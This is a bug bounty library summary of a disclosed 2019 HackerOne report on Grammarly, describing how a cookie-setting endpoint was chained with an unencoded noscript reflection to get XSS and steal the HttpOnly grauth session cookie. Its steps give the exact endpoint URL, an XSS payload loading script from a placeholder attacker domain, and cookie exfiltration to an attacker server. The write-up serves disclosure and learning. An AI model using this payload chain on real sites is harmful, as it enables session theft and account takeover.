# Account takeover through the combination of cookie manipulation and XSS

Cookie-setting endpoint on gnar.grammarly.com let attackers inject a gnar_containerId cookie reflected unencoded in a noscript tag on www.grammarly.com, yielding stored XSS and HttpOnly cookie theft.

- Payout: hidden
- Severity: high
- Program: Superhuman (formerly Grammarly)
- Found by: k4r4koyun
- Disclosed: 2019-12-03
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/534450
- Library page: https://bugbountylibrary.com/r/h1%3A534450
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high technique:chained vuln:account-takeover vuln:xss

**Target:** www.grammarly.com DOM reflection and gnar.grammarly.com/cookies endpoint
**Root cause:** gnar.grammarly.com/cookies accepts cross-origin POSTs without Referer checks and lets clients set any *.grammarly.com cookie, including gnar_containerId, which www.grammarly.com reflects unencoded inside a noscript tag.
**Steps:**
1. Host HTTPS page with jQuery that POSTs to `https://gnar.grammarly.com/cookies?name=gnar_containerId&value=<encoded payload>&maxAge=2147483647` with `withCredentials: true`, payload `</noscript><script/src='https://<YOUR_DOMAIN_NAME>/poc.js'></scr"+"ipt><noscript>`
2. Redirect victim to `https://www.grammarly.com/upgrade?...` where the cookie is reflected unencoded in the noscript img context, executing poc.js
3. poc.js GETs `https://gnar.grammarly.com/cookies?name=grauth` with credentials and exfiltrates the response to attacker server
4. Read grauth from webserver access logs
**How found:** Initial report of /cookies allowing session fixation was rejected as intended behavior; researchers then enumerated other cookies, found gnar_containerId reflected in an img src (encoded) and a second unencoded reflection inside noscript tags, and combined it with the cookie setter.
**Exploitation:** Victim visits attacker page; cross-origin credentialed POST overwrites gnar_containerId with an XSS payload, then redirect to grammarly.com triggers the reflected script which reads the HttpOnly grauth cookie via the /cookies GET endpoint (same-origin from grammarly.com) and exfiltrates it, enabling account takeover.
**Escalation:** Chained cookie-manipulation endpoint with DOM XSS to bypass HttpOnly and CORS, turning a low-impact cookie setter into full ATO.
**Insight:** When a cookie-setter endpoint is dismissed as 'working as intended', enumerate every cookie it can write and grep the app for each cookie name reflected in DOM—especially secondary reflections inside noscript/comment contexts that bypass the primary encoder.

